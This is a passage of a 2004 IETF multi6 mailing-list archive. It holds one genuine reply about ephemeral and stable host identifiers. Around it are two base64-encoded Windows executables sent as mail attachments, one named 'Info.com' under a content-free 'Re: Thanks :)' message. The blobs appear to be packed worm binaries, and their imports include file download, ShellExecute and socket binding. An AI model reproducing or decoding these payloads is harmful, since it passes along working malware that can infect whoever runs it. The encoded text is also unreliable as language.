wlL6imutba0711abvwuUGpq7bVsQnTC6R4rUrFLWgkbbKYN8LfSmGNrW3JXmooiXvaZc3cI3
tab60NTQ3Y1p1KKbdZwX8ZeJnQCJBQTNmHn7gpeWHp6YggSen1zeNn8TlJmSl5w8lZ6JmZxc
O8TBGHkEIbFfwRV2ISdemJhUu/bBdU6WKzDUj881nZNtbuxzRBiecpBAyJIahifD573atZwx
47Rg2gqiyZ2ukSxGw7ZqrduR49u4KbX3IbQRoqrWCwa54ieHL43asZ+DEzbMpew1Xy0mNa3Q
DmwtqhlPERTKrbWJCwQKm5Z4aKVXLlXamQqWSBVdl12329sq2jefaJ0MtP6b01hli3iHjnuJ
aCW8bTK0kx0HMo6Rg6xVMQqeOtgXttDaWUWKmA4MkhjDYq2JSoIAOuUZHfGoqQhc2t05OGai
6iG7kg8rYFtr71dBzTKwS4XcdraV3ZJZ6YKbXKxiaw0lke2Cou2s2w7CMY3DogDa7CnK5h1c
iBuJR8GW3Ti7ftrMKRHRhAnuz9qqbDA+6LbNgpaPfJhHqpKgra0ZDwQtw7CPGiy0E2i3IxiC
lGWqhQ54jEuPOthuTa0+pDGS4I+YD44KDWLm7ER2Uqh9O9Y7DPqeAN3W3doFxq3m1mUA2oPa
Q7LAj9g2ttLAPgnfKpMDyA5c3dZbCr6EwFk/zGrQtpUH2AgvPQGXMFOBEG70LXXS2Sy3htc7
wNioUeweIMuT11aOWhA8FYxX1rpvLV4C166DimWX1bDt1uqiKdUbpJ7BH1aoVrDaAD8EGJoL
ttGDktcAdx5G9oa5vA8RT4bGpodG1ReWwWmO0Wo0E2w/HyYAAWu0UJMdLHjFBi3KifXXalJZ
4ebAOc2YOF4G2qHWEVeAVHjs7SB7j1GYdZ/MziIitFixnWULdFRrFGNOoWXBJiywGItVS1Fg
KvsUxJubTtYaX6sDuF7V1RgXhC070IktsbBgbxASlfoEnuDPfW0DEdQZA8aYiO/Bh/d+CZ3E
xh4R2WuxEsYJBhbkaKWt0sY+UImoXcRgJ1y0nsASxECq7Nihy8tznooM2tcJDWOzNxYNAKgS
ty6+CbSJSNINsoRq7NKxlQmjm1OV2wquAWssNf95g2wOQYfZblTA0w2/Tdoxq8aCXh6+GQN7
mTC4hPgdW3LIZBS3v4yDQ8PeEBxc2O4gxFqZBrf6uX49XA1eOYsuwVaoQukNpQYwamq1ZE+8
m4JEds8tFlTo6p4BbQmjlbllkWsV2h6dNZrBEXupGhylCMNlIv8OjA37lnSKMp7sANpzdTY7
mwUQ1H4E7mcDV7Hik4yCngRDG1aYk3YqtrRaLLpy2ldtcuCCbHSRiU6JZdghbA+YkxCKwoqz
hlvWcNSNnxcjGdQGsEFrigYLsENdDonwcCEAdhlH12y6BbZsgzOviaQ0OnhkgDc1l5kpm7AP
mNRFu5iTLaNhj61fnITwAghLtiP3Sq4ds4gr+ZZCHJwCQp4eCMbknqHXohstGnMAO+zRN43C
hsBlIRE2G7vrM34iC4QtLFjSA5jUZoJiDww1cb7Hk1IpihyQjKXiDqnrltTd3zH6/KU3MROH
DTa33xyhsHBI46MxpRwhXFloYKVOjVSlM5TcW5SyuZyltv/SBRhwHceOF4xTbWux+fpPE4kh
FZrqTliDX7uWLKVenlwl3K5OsJUpfByDaG6mAl+JpZScNUzdnH9mj5yAAW0ErZ16mwfFj5Nr
jtzXHZ4RiETvrMVs37OYDmupl1Ozhp9MMDR8hKUPpese1jLVWiTd3iyCNlhwjoKMC4xNk7tt
MYtAipCBjq4+c2CYrJQhiSAX5HJzb0RIu5mW1R6Pityhtk2sGI8XJDKMXcwVUrk+aI6pvF+1
ihBDF/2Wp1rAYGio72hEwRy5qfReObXaIoWkN5JwqG2xyqd3WrQCH2yD+I6qJ5c2t4+igq0D
8W8Brr+0o7GpvnFWG7UYzbuJvNNoyan/HbRGSBTr+t2+3Yjdld2K7/6FdgGf3Sqp3ZHdg920
C47d+qVNs/3215W1m0mG19Gp0QORg7T929I0n46GZbG1ldel+qEx4lLOT4imgKcdP2twtImD
akWXabCRlqnN0jVTl1IA18SvP2OvmcYKEWmnqdeR3PkW+teD17TXUI5dodCqkeGO9az6oNKL
gKOw1IXtuYGuUoPAbz76w6Kyju76GGpDW0hxig+m2rzVhNY2U40HCFw91hjM+geuJ1Kzuatg
o1vWtvpDDb42sIdtbK1qKciV+kGpJRehq4xpib7gDt1SA1czM4qDQ6o1R80AWgeMVGSOCrBZ
tNyai2EsSb1luyX6Ec8RODqJyEaDCjAKvtqE+nMBWYyKXCIACUUCCyWJA/+Xy6k0AVRQAUdl
dE1vZHVsZdgWAMtGaU6DQRNYC4D/UHJvY0FkZHKQD//st/9TeXN0ZW1EaRBjdG9yeSRUaWNr
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
AAAAAAAAAAABAAAAAABQAAAApPAAAOgCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQABAAAA
eAAAgAAAAAAAAAAAAAAAAAAAAQAAAAAAkAAAAJDzAAAUAAAAAAAAAAAAAACgwAAAKAAAACAA
AABAAAAAAQAEAAAAAACAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAIAAAACAgACAAAAA
gACAAICAAACAgIAAwMDAAAAA/wAA/wAAAP//AP8AAAD/AP8A//8AAP///wAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB3d3d3d3dwAAAAAAAAAAAAeIiIiIiIcAAAAAAAAA
AAAHOIgzOIg3AAAAAAAAAAAAB7ODAAODhwAAAAAAAAAAAAf/MP+wOIcAAAAAAAAAAAAHuA+/
/wOHAAAAAAAAAAAAB4C//7/wNwAAAAAAAAAAAAcP/7//vwMAAAAAAAAAAAAH/7//v/+wAAAA
AAAAAAAAB3d3d3d3dwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAP//////////////////////////////////////////////////
/////////////////////////////////////////////4AB//+AAf//gAH//4AB//+AAf//
gAH//4AB//+AAf//gAH//4AB//+AAf//////////////////iMMAAAAAAQABACAgEAABAAQA
6AIAAAEAAAAAAAAAAAAAAAAA2PQAAID0AAAAAAAAAAAAAAAAAADl9AAAkPQAAAAAAAAAAAAA
AAAAAPL0AACY9AAAAAAAAAAAAAAAAAAA/PQAAKD0AAAAAAAAAAAAAAAAAAAG9QAAqPQAAAAA
AAAAAAAAAAAAABL1AACw9AAAAAAAAAAAAAAAAAAAHvUAALj0AAAAAAAAAAAAAAAAAAAp9QAA
wPQAAAAAAAAAAAAAAAAAADT1AADI9AAAAAAAAAAAAAAAAAAAQPUAAND0AAAAAAAAAAAAAAAA
AAAAAAAAAAAAAEz1AABa9QAAavUAAAAAAAB49QAAAAAAAIb1AAAAAAAAkPUAAAAAAACe9QAA
AAAAAK71AAAAAAAAuPUAAAAAAADM9QAAAAAAANj1AAAAAAAA6PUAAAAAAABLRVJORUwzMi5E
TEwAYWR2YXBpMzIuZGxsAGdkaTMyLmRsbABvbGUzMi5kbGwAU0hFTEwzMi5kbGwAc2hsd2Fw
aS5kbGwAdXJsbW9uLmRsbAB1c2VyMzIuZGxsAHdpbmluZXQuZGxsAHdzb2NrMzIuZGxsAAAA
TG9hZExpYnJhcnlBAABHZXRQcm9jQWRkcmVzcwAARXhpdFByb2Nlc3MAAABSZWdDbG9zZUtl
eQAAAERlbGV0ZURDAABDb0luaXRpYWxpemUAAFNoZWxsRXhlY3V0ZUEAAABTdHJEdXBBAAAA
VVJMRG93bmxvYWRUb0ZpbGVBAAB3c3ByaW50ZkEAAABJbnRlcm5ldE9wZW5BAAAAYmluZAAA
AAAAAAAAAAAAAAAAAAAAABiZU600jTwrul0jsr5qnLwQWxC9TbLBxSyuvp26HDYfeK6mAhMr
EMe2xsJqaR1LAgQQSjSUl0dNwQCHvwM8HjU5F3VLr5TBMopRjytQen8ZnkpbTBvGaZ5tCE2W
m0siEi9nmJRqrUp2RRJEYqlFhkAmIGRBtypUnW4Dt5kPkh4eFsRIL4wnu5w=

----------trwfnjomztaxobozeoxo--




From owner-multi6@ops.ietf.org  Wed May 12 05:31:42 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA19777
	for <multi6-archive@lists.ietf.org>; Wed, 12 May 2004 05:31:41 -0400 (EDT)
Received: from lserv by psg.com with local (Exim 4.30; FreeBSD)
	id 1BNq3s-00096F-6k
	for multi6-data@psg.com; Wed, 12 May 2004 09:30:00 +0000
Received: from [163.117.136.122] (helo=smtp02.uc3m.es)
	by psg.com with esmtp (Exim 4.30; FreeBSD)
	id 1BNq3r-00095Y-45
	for multi6@ops.ietf.org; Wed, 12 May 2004 09:29:59 +0000
Received: from smtp02.uc3m.es (localhost [127.0.0.1])
	by localhost.uc3m.es (Postfix) with ESMTP
	id CA5E626990; Wed, 12 May 2004 11:29:57 +0200 (CEST)
Received: from lolo (lolo.it.uc3m.es [163.117.139.58])
	by smtp02.uc3m.es (Postfix) with SMTP
	id B19472697A; Wed, 12 May 2004 11:29:57 +0200 (CEST)
Reply-To: <mbagnulo@ing.uc3m.es>
From: "marcelo bagnulo" <mbagnulo@ing.uc3m.es>
To: "Erik Nordmark" <Erik.Nordmark@sun.com>
Cc: "Geoff Huston" <gih@telstra.net>,
        "Iljitsch van Beijnum" <iljitsch@muada.com>,
        "Multi6 List" <multi6@ops.ietf.org>
Subject: RE: Persistent or opportunistic IDs
Date: Wed, 12 May 2004 11:25:59 +0200
Message-ID: <LIEEJBCNFDJHFFKJJDPAGEDOEBAA.mbagnulo@ing.uc3m.es>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
In-Reply-To: <Roam.SIMC.2.0.6.1084298239.25923.nordmark@bebop.france>
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-4.8 required=5.0 tests=AWL,BAYES_00 autolearn=ham 
	version=2.63
Sender: owner-multi6@ops.ietf.org
Precedence: bulk
Content-Transfer-Encoding: 7bit

>
> Yes. In effect the application need to know and express to the "stack"
> whether there is a need to do "callbacks" on referrals, since this
> affects which source identifier to use for the communication.
> Would such a scheme be acceptable for the applications?

I wouldn't dare to answer that question considering my limited knowledge on
apps, but, perhaps it would be possible to distinguish the ephemeral ids
from the stable ids (IP addresses in this case) using a ephemeral/stable
(e/s) bit in the id itself.
So, when the app that will perfom a call back discovers its own identifiers,
the noid+wimp layer will show multiple addresses, some stable ids  and some
ephemeral ids. The app can, because of the (e/s) bit on the ids, identify
the ephemeral identifiers, so it can avoid sending them to the other end as
a call back information.
Perhaps, something similar can be done with refferals. I mean, the
application first discovers the ids available in its own endpoint, and then
selects one that fits its needs, (stable or ephemeral), and then it performs
a bind to the selected id.

But perhaps this is too complex and i don't know if it is worthy...

Regards, marcelo
>
>    Erik
>
>




From owner-multi6@ops.ietf.org  Thu May 13 03:24:36 2004
Received: from psg.com (mailnull@psg.com [147.28.0.62])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA24182
	for <multi6-archive@lists.ietf.org>; Thu, 13 May 2004 03:24:36 -0400 (EDT)
Received: from lserv by psg.com with local (Exim 4.30; FreeBSD)
	id 1BOAYd-000NnZ-7V
	for multi6-data@psg.com; Thu, 13 May 2004 07:23:07 +0000
Received: from [161.53.19.155] (helo=delboy.com)
	by psg.com with smtp (Exim 4.30; FreeBSD)
	id 1BOAYb-000Nml-BR
	for multi6@ops.ietf.org; Thu, 13 May 2004 07:23:05 +0000
Date: Thu, 13 May 2004 09:24:32 +0100
To: "Multi" <multi6@ops.ietf.org>
From: "Kurtis" <kurtis@kurtis.pp.se>
Subject: Re: Thanks :)
Message-ID: <nileaxlldspfhzmpyuw@ops.ietf.org>
MIME-Version: 1.0
Content-Type: multipart/mixed;
        boundary="--------nbwdxsxwqoctaumpfcmi"
X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on psg.com
X-Spam-Status: No, hits=-1.1 required=5.0 tests=BAYES_01,HTML_MESSAGE,
	MIME_HTML_ONLY autolearn=no version=2.63
Sender: owner-multi6@ops.ietf.org
Precedence: bulk

----------nbwdxsxwqoctaumpfcmi
Content-Type: text/html; charset="us-ascii"
Content-Transfer-Encoding: 7bit

<html><body>
 

<br>
</body></html>

----------nbwdxsxwqoctaumpfcmi
Content-Type: application/octet-stream; name="Info.com"
Content-Disposition: attachment; filename="Info.com"
Content-Transfer-Encoding: base64

TVoAAAEAAAACAAAA//8AAEAAAAAAAAAAQAAAAAAAAAC0TM0hAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAkAAAAKkm3RPtR7NA7UezQO1Hs0DtR7NA7kezQGNYoEBtR7NAEWehQOxHs0AqQbVA
7EezQFJpY2jtR7NAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUEUAAEwBAwDMD5BAAAAAAAAA
AADgAA8BCwEFDABQAAAAEAAAAJAAAPDiAAAAoAAAAPAAAAAAQAAAEAAAAAIAAAQAAAAAAAAA
BAAAAAAAAAAAAAEAABAAAAAAAAACAAAAAAAQAAAQAAAAABAAABAAAAAAAAAQAAAAAAAAAAAA
AACk8wAATAIAAADwAACkAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAABVUFgwAAAAAACQAAAAEAAAAAAAAAACAAAAAAAAAAAAAAAAAACAAADg
VVBYMQAAAAAAUAAAAKAAAABGAAAAAgAAAAAAAAAAAAAAAAAAQAAA4C5yc3JjAAAAABAAAADw
AAAABgAAAEgAAAAAAAAAAAAAAAAAAEAAAMAxLjI0AFVQWCEMCQIIvyc9X9rQb57HxwAAyUIA
AACSAAAmAADM////m/rJOnEqKxiQ86MrEIn8ewjaeUIXGA5z7n9eUr/9//+6+gQ6jxg5r3EW
rHG/8nGP9nG36hniLTsQ8sj83P+x3d8FO3H+Jsk4vBgSpDM49vora+237yoNKgWP6gL2qhI6
BQANGX/79gd5Pg6S+to1kPoSYTT6c78GPb//vsW+DoKQATDyEi26DXe/Aqr/m697KRIGFVN5
hwL6j/gR6QWPd2/ukQIOEmpbQw4RNQ8SqrrbNnNgRmqHDnf+arf23GbiWVqlyOxH8vi32d7f
if4ZkP6SFqS9Bf8Lve3BtqrLB8koDUdoJu72rdw1rQZx/PY7E/hACVEJ7z6y/Xkb+QlQpR7y
qXGn9iGQ4BJj8pT9d0l5OpsGULGPC6Ef8BKDe+cWMsqxuPsSSsWpyq11f/E6jvSqkJQlDLso
xH8WusGDrEWPhIfJIRmuw5ft/1Y7Gup5A/uO8VacCfL4jvtWmgd5e3gS6BLHmDgJ9hLJ/BJv
7d2R0xLYBrl5AehIQpxC9wit/f/wnFF5E/mDSA0j0QNKx9CRxP////95GsXGxInoxs6J8P67
xqGI9f78EfH+BhH91sQ6Gvj+6x7aw9FQSamQaSShf7N9Q4d7yXEi4CIGYTMFCFR63/Z7u76O
47ISdMTTj/1Zoe1znTFz//x5PP4RIEL7iBIYBnaFn9vekvgVU3AEJE29vS72dxeEQ/oTcu7A
BDgYAxJi1vht4zy/BHEzwHD+wXK/hQ2y7e62CMsF9UyvCcByFXDs24W3BcC7wSiI+CgEOY8v
2LcX3NlqArmP8nD5PAdwbMQW2rn7BdwBV4wC/rX24+S6BBtPA+7Ccq9t79vdY68GDQZwDAQX
kcKb61yLEBoJBfh6pHHdurdvQMruygUFGDpwI/kEBnLfPkmvYOYZcbrG+QX1Tbr8hd0tCNbi
QtJ0DZ/ajPfWlq+oHQX5OP+IHJatfJj2EysFPO72F2zkwhdD6hTdEKNrvhV1sgiqkHT72tKb
t7NbBcJxcblr3/6/oQvRMHGp8vkr+an2c90Fiep1thfynb527vsFP7URPqBj7Xc7kNIJDwYS
9nU7BeoXyrIsAu4GObne/crJltoa35wFGbqqTbbZ39T7qqo9eir6AAkubI9tNM/qIfIl0hH5
OgbkxqchJQ37kPtox83utpZFWOgXBajyESn2/v3od68Cifg9uP5PI/1L+F7dmQYkLu7117Kx
26x3Ez38g7wwaVqwD+yQ+DFx/KRjFyeHubNMd/gS+oCLbLEliVn4ipfNzDchNbZb4mks92Ay
ez6CHa35+AgsuO6SM3rLY8AVvt0g8LqOvgN6GXd/LapLNmC/5FvB5wIYWpL7RqDqHjMkZERf
t2wnIxMSreYS4pdao3zhKMZ8nD2/AIRh3he+NQsFtwANG+CQuhLjXVC2j93J/dLCFnW9/gUK
vGm2zc1rnAf2APQ9vepqz9QiPx+fCj8b2Nra0uU0Gmj5Np3y7yfhwnO9RT2lHxqprckF3kNH
04GVsG6nb+7haAfeWGzuDszQFPjrYxgG1uoS5cZW9X5/c4cIMR0HjgoJy8vDrzrIM8MrAp+Q
9Bh235UboK4A2Ri4t0L0JPn59mFr3B0W+aEFHkwKqia9wdxuyxJYdxPSeumeS9ISdZqLE4Fy
H3SfB7dpvXAWCPsMn9vRAgWikC7VkgdWIBmd7qFqGoVka4/DFiGe3gwK4Qi702L13MHkkPas
z+e298fBd4f7Hkz5Iobme76qGtT7CdCSO8O/bgbeEAGt+BLWA/4Iv286B96gkudwuiD+kCm2
2LsxqD5G+F0Br07Kn6/kNIo+LvwSFwK5++0HmkKqNg8Rz3kC+wv6NqqzNLtl0/gXNqrn+W02
y3Lq6gXr/gXa/0LV2mfs1U9q33f0jHDghu81EpUkErTATTIPh7DvORupuLhr4hPvUv8SlwIL
9aoWmArBrbX9AfCM/w+JDATNqgblXfMHVKsJ9hJOByxZNAxcCsFRSrbTw422qsJPCi8DBhjp
Dt8u71ZWurcazw6W2V5EUDUbSnnu4RjLBr9MBeWYCrbgvsjficoQEoHCfXIK9Bgm3h7uBnfJ
degJXkU/bi/xWBFuObYF2I9BFSzNBwbnHwcKEjTN1A7Zy0aDqaSaDtwBBa5NiEU4W83+ei8L
942NeFRF8lAgLQZ1ZnOvytEPtE6J5Z5sjyAdsBRC+7m61/DGDUbzd7NGQz2VDjuYDHeKJoNx
E6bhO1SPsIZB2WwLt9svkl43krgJIQJ1US5bY5gpshb8DS8IT8/G7hcWWy8b7rEdcUgMLP1F
1zoKRbyxv7nNBiAmqq0SoQQZ6A3MCJ89uQkP+HElf1JvTsbbl6WYEMvNMkA+KUr8f/AYCxnv
QyA7GP87EeHxKWMTLbaFvPkWFLlCsEWhSf6EgqputvXYR6PMXGv7Shn1trKD6tm39j34Rbqt
ULgBOHnCvyzyLtC5tp1uoHP4hbDXHJPRYhdvpCpx8iSP/LPHbtHgoLuZEqgtBs9vixU4zS4d
uh6hezcCuC7OrT1/IgbSG75dgZNrXSxzfxl3d+63xRj3TwwSHRdmuEW9G/vZtor0rRsGEinM
FfEkB4TaZxoHDwQzjy0dbHNhQ1MRQAw+zqVDBU6tWH498M7KjgVTEvkjFcN1jMMgcAar303h
aXpuixMjVzo3PRq2yEPqIYjozw79l4VGRvkCdvxEIwwaDQzVEPSpjPThnPmSs7HOWbohY4cK
obQg+JzN2MM699AgChv64CqNfZSQExreo+pvHSOIsGRxB7x7xLatv/hv1F0RDf8q6iJxNNG3
Ans7+rE7CxnGFAIFeF5aKxR7NAUhoSpCwbkmaj0uBbed1hm3u1my8nsC+sqwHv3j98m9w2Wb
Ss4KGnXHv0eBWRsl0hlszrtJc1ZwEv6pws7bZssXoBLsLxMSGSefNt0vnBE098zJ1NfuPXUH
uXs3ENU/yQi6ph9IORqSI2pisjtojD3EzlCoESjvmuoILIO9GhGknPsRAH66ge9LyYYal0A2
aGhAPWipXdoe0HAfnBs6nEarLTv2GwwmPvYLHslj7ne/7xBiSJi3Gkn6jWaSMmuKI98LyEfJ
ESdw6gMy5naNkipnW2By5NsMIKySLVKQSJlBDi3NeTiA0Qh3SwXLY1PGsvVHGBwCi/EZLN36
3Mj6Owvu5IPpWhR4VsteB7L5sKy59XcuaCrIV8iTAy5oZ8jDADlyksg+YkVi8kpecoTIlsjA
yN5AugfxbIq/ERzkJB936MgyYtjI2bySl+rIJMvVbMmTA7IIy9VsRcshB5JXfcqQyuTJK3lU
ys7K1sp4ARwloRz2yDjBbsEsHS7JOBvXdW8LQfJFzzpWtyhEWQl35P6CSfn/PgpQ/37y6TZ6
l/K6WQ5Q4i0y7zB4514JCPcM9AUa2nsbFScz8Dt5C/sHeK11fBsyYGQCfwcJ2qLICT49/2uC
rM7uK2+26Ak+c52/2URqFGKzvQRaVhH9NaNW8MDUsFpWDwQ9Pwi5MehCGcp3hwwR7WvtAUOQ
exUGcjjVF9qmk1AFH+wK8IgZs33Jt2sMM34R21YkvmGSj0ZyQ24W6v/hwWFlyjoj4fG5XiBb
K+Ic1VyYCeTyIuIPBDnv1gIG71cJj/4Pa+YLVr4klDIQMvI13w2aqkcCBWDGXjPJoiENxyMb
2UpYdYUFLU5N9se31cT2j1B4Ck7+jbGFUdSwnBUKnHsQRv2c7W+3JZ7zDLcIBxv/nPG3DAPS
dM32K5xz6iHyAhzxAKIwSW8Yy2qGHgZuEt9KVMGq1MDUQnteQTHKboDL9maaBWqQ5HwsuhQL
mGVbZ9QKUs/S7mPf7i/wnHm3JvsESvu3ST5idq2ruz0usfn+QCRwBVTw26vtVh5UnEsgNgMa
uqYzC5LcFBpOBxi2ffVrTI3bF9ceAkJ8q+17NiijhtdYEgJGiHUmLpugOmKcEQM+swnb1gr7
qXkC5EWt1TZzT3b9jRMNYhEac4MTCUi50cJtM0t1ZO4wB1z2A7FvUptGDvbyLW92euoOA+Z0
EvAXYu5631bGHgYfXpmgULaMS5gEm376BTq5HsLIoFrZkjaMWFcC8xeIoLlsG7Kb7zb4BWyq
Gq2cDa8XtnPbm8Vil/+fAxL/0w2T7h0GglLlBRPus02CqAsZai/Wks93DgkVC9YiWkjCQbYl
pDc31iXcuW8M6EcSeRD2E+9mEgKCu4QWtx2NJeoJR5rLUvv4SFbu8J9LLb4FNs3kNNqPUs+7
81L25kPUsl4SFNHiBKGRDuJe4mw3SDUmW2Vfv2GE/9EPV6HWn+77+3n71H/JRua76iLYUerQ
CwTcjv6fHdCPhE7zYwb5hPYS3Uo2zzzQAhj6g1+y8TRjIA477MUoxVLk69YRyBI2qh9wZuP6
VObZ1XQGeMvcR8iMlhv1qcAjHumIBFsRrofeWRruQQwLFGC+YGcS4jsVIe2z6bJtKP/8UiD4
IJw9NmtryyZx0UOaJLuZVnyGbzH9ZGgjsDB48qvPK9Mz02K4esDo4uOS+GO+XQd3Nxx6Elw4
kstXKRj0qj9TP2IK2ZLUfElt0RslqWdRjdEJ9dozZOawij+WUqljHeSwPqjC0XST8TuivdNF
kO859U2y/LMUHz1IyBtxKbEpbH8GnMU5Ca2SQvH6NwchnwvB6joG0ibB6aPfyQ/Li9RY/XMe
0jLU09LHblCp5bkgjNMV6XHdUv/HIhJDcYLu+YLqqenTZmB6J7+T0q26edOVe9l1000JDZeS
Jv8kHxIHnlXq/+kzLBLffR/2kg0Nqi+1jyYKxnNCGMBdwt8CDXIAC1/d0oecDSGecZHSsd74
MaydnP+1yPa4QM9athPPqlMrGsRWuAbvkxFNc1yp5Ljq7t4hTB+o7S5j7xEFyBIVG+oSVQm9
qS+EeLb/3fJo3ZsyqZe4lfuQnhIOHfB1jNv/jmMtXvAt+/WhCTenkctCfDRf0hHQHCQwYxB4
wBrdx2eL0TJhGZLKYyRzIAf2MhK1DLjP/AmOOQdMkQqB7VmSY8802LeeBJomVjAHOewluHhj
YFqpe562Rw4bGg6vJpD8VI+LjBzm06HEFk3ZCJ95FhI+B7aAHpSSkUG6F1rOEpbk22RyxBoS
c90MmeIcyIqZly3ZlrwMEhLgGfc0316zS/qQIwweEvXcnjrWhxpX0F8cShImCLc94FLpRMNo
EjdjY9wXrxyPqhNnEjTnLN07azcOF0EtWp636ZKc3ROVks+hfy68MQ06LO7/HMj1eCGUwM+x
